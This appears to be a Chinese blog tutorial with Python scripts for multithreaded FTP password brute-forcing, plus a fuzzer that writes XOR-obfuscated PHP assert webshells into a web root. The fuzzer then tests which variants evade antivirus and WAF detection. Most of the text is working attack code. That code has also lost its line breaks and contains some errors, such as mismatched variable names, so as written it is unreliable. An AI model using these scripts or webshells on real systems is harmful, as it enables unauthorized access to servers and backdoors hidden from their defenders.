【Python】多线程Fuzz&Waf异或免杀&爆破

  • 学习内容和目的
  • 简单多线程脚本
  • 利用FTP模块实现协议爆破脚本
    • 不含多线程简单爆破
      • 引入queue和threading
  • 配合Fuzz实现免杀异或Shell脚本
      • 添加requests判断结果
    • 多线程代码

注意sys.argv传参数必要时需要转换int型。

学习内容和目的

知识点:协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术
学习目的:掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打Waf

简单多线程脚本

queue,threading模块使用

利用FTP模块实现协议爆破脚本

1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

不含多线程简单爆破

import ftplib
import sys
def ftp_brute():ftp=ftplib.FTP()ftp.connect('192.168.0.101',21)for username in open('ftp-user.txt'):for password in open('ftp-pass.txt'):username=username.replace('\n','')password=password.replace('\n','')try:ftp.login(username,password)list=ftp.retrlines('list')print(list)print(username+'|'+password+'ok')except ftplib.all_errors:pass
if __name__ == '__main__':ip=sys.argv[1]ftp_brute()

引入queue和threading

import ftplib
import sys
import queue
import threading
def ftp_brute():ftp=ftplib.FTP()ftp.connect('192.168.0.101',21)while not q.empty():dict=q.get()dict=dict.split('|')username=dict[0]#因为q里面有|,分隔后每个q含有两项。password=dict[1]try:ftp.login(username,password)list=ftp.retrlines('list')print(list)print(username+'|'+password+'ok')except ftplib.all_errors:passif __name__ == '__main__':q=queue.Queue()for username in open('ftp-user.txt'):for password in open('ftp-pass.txt'):username=username.replace('\n','')password=password.replace('\n','')zidian=username+'|'+passwordq.put(zidian)for x in range(10):#10是线程数t=threading.Thread(target=ftp_brute)#函  数不加()t.start()

添加参数:

import ftplib
import sys
import queue
import threading
def ftp_brute(ip,port):ftp=ftplib.FTP()ftp.connect(ip,int(port))while not q.empty():dict=q.get()dict=dict.split('|')username=dict[0]#因为q里面有|,分隔后每个q含有两项。password=dict[1]try:ftp.login(username,password)list=ftp.retrlines('list')print(list)print(username+'|'+password+'ok')except ftplib.all_errors:passif __name__ == '__main__':ip=sys.argv[1]port=sys.argv[2]userfile=sys.argv[3]passfile=sys.argv[4]threading_num=sys.argv[5]q=queue.Queue()for username in open(userfile):for password in open(passfile):username=username.replace('\n','')password=password.replace('\n','')zidian=username+'|'+passwordq.put(zidian)for x in range(10):#10是线程数t=threading.Thread(target=ftp_brute,args=(ip,int(port)))#参数名argst.start()

配合Fuzz实现免杀异或Shell脚本

1.免杀异或Shell原理讲解及开发思路(参考及举例:^!@,"?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入到网站文件中。
3.基于多线程实现批量访问Shell文件并提交测试是否正常连接回显。

PHP异或
通过^进行异或运算:

<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>

要把!@对应的二进制的ASCII码异或运算。得到的是a。免杀绕过的是assert。
如何去生成更多个a的运算符?

  • 1.搞清楚算法,一个个反推。
  • 2.遍历查找,看那个匹配a。

把后门木马写入www文件夹下,一个个测试request访问,看那个成功。

for i in range(1,127):for ii in range(1,127):code="<?php $a="+"'"+chr(i)+"('"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"with open("E:/securitytools/phpstudy_pro/WWW"+str(i)+'xs'+str(ii)+'.php','a+') as f:f.write(code)f.close()


请求:
127.0.0.1/x/33xs64.php
传入参数
x=phpinfo()
可以看到等待assert命令的执行。

添加requests判断结果

import requestsfor i in range(1,127):for ii in range(1,127):code="<?php $a="+"('"+chr(i)+"'"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"with open("E:/securitytools/phpstudy_pro/WWW/x/"+str(i)+'xs'+str(ii)+'.php','a+') as f:f.write(code)f.close()url='http://127.0.0.1/x/'+str(i)+'xs'+str(ii)+'.php'data={'x':'phpinfo()'}result=requests.post(url,data=data).content.decode('utf-8')if 'xxx' in result:print('Bypass ok->'+str(i)+'xs'+str(ii)+'.php')print(code)#else#print(str(i)+'xs'+str(ii)+'.php'+'|No')

无子符后门,
assert中的每个字符都可以拆分。$a也可以拆分。
webshell免杀

多线程代码

原型代码,编译代码。

import requests
import time
import threading,queuedef string():while not q.empty():filename=q.get()url='http://127.0.0.1/x/'+filenamedatas={'x':'phpinfo();'}result=requests.post(url,datas=datas).content.decode('utf-8')if 'xxx' in result:print('check->'+filename+'->OK')else:print('check->'+filename+'->No')time.sleep(1)def shell_test_check():url='http://127.0.0.1/x/33x64.php'datas={'x':'phpinfo();'}result=requests.post(url,datas=datas).content.decode('utf-8')if 'xxx' in result:print('ok')if __name__ == '__main__':q=queue.Queue()for i in range(1,127):for ii in range(1,127):payload="'"+chr(i)+"'"+"^"+"'"+chr(ii)+"'"code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"filname=str(i)+'xd'+str(ii)+'.php'q.put(filename)with open('D://xxxx/www/x'+filename,'a') as f:f.write(code)f.close()print('Fuzz文件生成成功')for x in range(20):t=threading.Thread(target=string)t.start()

【Python】多线程FuzzWaf异或免杀爆破相关推荐

  1. 【木马】利用Python制作一个接受式免杀载荷

    目录 什么是接受式免杀载荷? 关于Pervise 免责声明 接受式载荷的工作流程 1. 开始运行 2. 连接成功 3. 运行载荷 4. 再次建立连接 实现接受式载荷的工作 接受式载荷 服务端 实验载荷 ...

  2. python打包的exe如何免杀_如何使用Python进行Payload免杀

    很多渗透工具都提供了权限维持的能力,如Metasploit.Empire和Cobalt Strike,但是都会被防病毒软件检测到恶意行为.在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方 ...

  3. python打包的exe如何免杀_使用Python进行防病毒免杀

    很多渗透工具都提供了权限维持的能力,如Metasploit.Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为.在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这 ...

  4. python打包的exe如何免杀_使用Python进行防病毒免杀解析

    很多渗透工具都提供了权限维持的能力,如Metasploit.Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为.在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这 ...

  5. python打包的exe如何免杀_通过Python实现Payload分离免杀过程详解

    缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: 将payload给copy下来,去除引号. \x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x4 ...

  6. 远控免杀从入门到实践(5)-代码篇-Python

    郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!  <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...

  7. APT之木马静态免杀

    前言 这篇文章主要是记录手动编写代码进行木马免杀,使用工具也可以免杀,只不过太脚本小子了,而且工具的特征也容易被杀软抓到,指不定哪天就用不了了,所以要学一下手动去免杀木马,也方便以后开发一个只属于自己 ...

  8. 红队培训班作业 | 免杀过360和火绒 四种方法大对比

    文章来源|MS08067 红队培训班第12节课作业 本文作者:汤浩荡(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 环境准备: Kali linux安装cs4.2,Windows7系统安装 ...

  9. 免杀实战之面向PHP的WebShell免杀

    0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php as ...

最新文章

  1. P1083 [NOIP 2012]借教室
  2. Docker中Maven私服的搭建
  3. 【HDU - 1943】Ball bearings(几何问题)
  4. java时间类Date、Calendar及用法
  5. JavaScript的DOM操作.
  6. 《C#图解教程》 总览
  7. php做网站步骤_怎么制作php网站
  8. Speed Gear(变速精灵XP) V6.0 - 免费版,破解版,绿色版
  9. [zz]明月虽好by 王大根 from 豆瓣
  10. 【Linux系统】第6节 Linux系统压缩与解压缩文件
  11. opencv 图片染色 及 移动
  12. 日期转毫秒,毫秒转日期
  13. android获取版本信息、屏幕信息和设备编号
  14. 星际争霸2-数据编辑器-菜鸟入门
  15. vos3000外呼系统讯时O口网关加密注册 VOS 配置方法
  16. java晋升述职_阿里感悟(九)-如何才能晋升
  17. 小白学习Linux命令
  18. Ant Design of Vue表格中slot-scope=“text, record”
  19. DNS被劫持,导致Unable to connect'to the remote server,修改Hosts解决
  20. 抢购失败,无法获取生成订单的基本信息,接口返回:【‘addressList’】解决方案,实测可用!

热门文章

  1. 如何使用Python第三方库
  2. IDEA导入Mybatis源码
  3. 双11前夕,阿里启用机房巡检机器人、京东加了2000+台服务器!这下你们可以放心剁手了...
  4. “魔盗”窃密木马(FakeCDR)研究
  5. H5上拉加载以及在微信内置浏览器上拉加载失效问题记录
  6. Pyhton生成《百年孤独》高频词词云
  7. Twitter发力区块链+社交?区块链社交应用场景应该满足的三个维度
  8. 四分之一车辆垂向动力学模型
  9. python函数名是变量_Python 变量做函数名的简单示例
  10. html5快速开发模板生成器,推荐一个基于Vue 的 H5 快速开发模板